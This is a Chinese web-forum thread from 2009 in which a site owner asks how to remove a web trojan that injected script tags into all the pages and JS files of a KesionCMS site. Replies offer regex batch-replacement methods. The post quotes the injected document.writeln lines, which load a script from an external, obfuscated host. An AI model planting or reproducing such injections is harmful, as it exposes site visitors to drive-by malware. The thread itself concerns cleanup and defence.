asp木马清除,有能力者来,另有高分重谢。

xiaoqiang08 2009-10-01 09:52:32
这个木马带ID号,不能一次性清除,只能一个一个,不知道有没有这样的工具。

document.writeln('<script language="JavaScript" type="text/javascript" id="scr7ipt3254" src="http://%70t928.9966.org" ><\/script>');


document.writeln('<script id="scr7ipt9061" type="text/javascript" src="http://pt928%2E9966%2Eorg" language="JavaScript" ><\/script>');


...全文
217 24 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
24 条回复
切换为时间正序
请发表友善的回复…
发表回复
小布 2009-10-09
  • 打赏
  • 举报
回复
用正则替换就可以了
yifanwu 2009-10-08
  • 打赏
  • 举报
回复
你上传的文件没有备份么?把漏洞补了之后全部重新上传一次。
hansonboy 2009-10-08
  • 打赏
  • 举报
回复
dreamweaver啊,查找文件夹,开启正则,用正则替换就可以了
sunsbn2 2009-10-08
  • 打赏
  • 举报
回复
顶你,弄点分.
南三方 2009-10-07
  • 打赏
  • 举报
回复
木马已经植入很深,只能选择逐一清除还是批量清除,批量清除就得批量更新,怕慢的话就逐一替换吧,用正则是很好的方法,关键是要仔细检查后门漏洞抓紧补上,数据库中也必须仔细检查清除,对楼主深表同情!
hflkl1314 2009-10-07
  • 打赏
  • 举报
回复
以黑 治黑 啊

QQ80758653
zzlya 2009-10-07
  • 打赏
  • 举报
回复
雷克图可以么?
cdcjk 2009-10-06
  • 打赏
  • 举报
回复
谢谢,学习了
lishuai818 2009-10-06
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 walksenlid 的回复:]
dreamweaver啊,查找文件夹,把内容粘贴上去,替换为空,替换全部,直接搞定。
[/Quote]

他那个是大网站 应该生成的页面有很多 要照您这种方式估计得累死他了

楼主请参考3 楼的意见
jackbeibei 2009-10-06
  • 打赏
  • 举报
回复
学习了
wubaozhang 2009-10-06
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 hookee 的回复:]
是文本文件的话,可以用UltraEdit批量替换

先用一个文件做测试看看

Search菜单-Replace In Files - 选择文件类型和目录 -  取消Mtach Case
选择 Regular Expression
Regular Expression引擎选择 Perl
Replac With为空
其他设置根据需要选择
Find What 输入:
JScript codedocument\.writeln\('\s*<script [^>]*id="scr[^"]+"[^>]+>\s*<\\\/script>\s*'\s*\)\s*;

然后取代。
[/Quote]

都已经这么清楚了,还有什么好问的
number321 2009-10-04
  • 打赏
  • 举报
回复
不知道有没有网马有用正则批量替换的功能
number321 2009-10-04
  • 打赏
  • 举报
回复
是啊,自己写个ASP文件,用正则替换
Can_I_ask_you 2009-10-02
  • 打赏
  • 举报
回复
那就用正则表达式,只要则,管你中间怎么就,一样清除。
xiaoqiang08 2009-10-01
  • 打赏
  • 举报
回复
程序使用的是科讯cms,郁闷死。以前都没有这个事,现在。。。
xiaoqiang08 2009-10-01
  • 打赏
  • 举报
回复
关键是所有的网页都在服务器上,太大了,生成一次都要好长时间。

不可能拿下来生成然后在上传。
hookee 2009-10-01
  • 打赏
  • 举报
回复
是文本文件的话,可以用UltraEdit批量替换

先用一个文件做测试看看

Search菜单-Replace In Files - 选择文件类型和目录 - 取消Mtach Case
选择 Regular Expression
Regular Expression引擎选择 Perl
Replac With为空
其他设置根据需要选择
Find What 输入:
document\.writeln\('\s*<script [^>]*id="scr[^"]+"[^>]+>\s*<\\\/script>\s*'\s*\)\s*;


然后取代。
sky2133 2009-10-01
  • 打赏
  • 举报
回复
这木马挺绝的,ID不同替换字符串不大容易啊
xiaoqiang08 2009-10-01
  • 打赏
  • 举报
回复
网页,所有的js文件,html文件都被挂了。
街头小贩 2009-10-01
  • 打赏
  • 举报
回复
数据库中记录被挂了!还是网页?
加载更多回复(3)

28,409

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧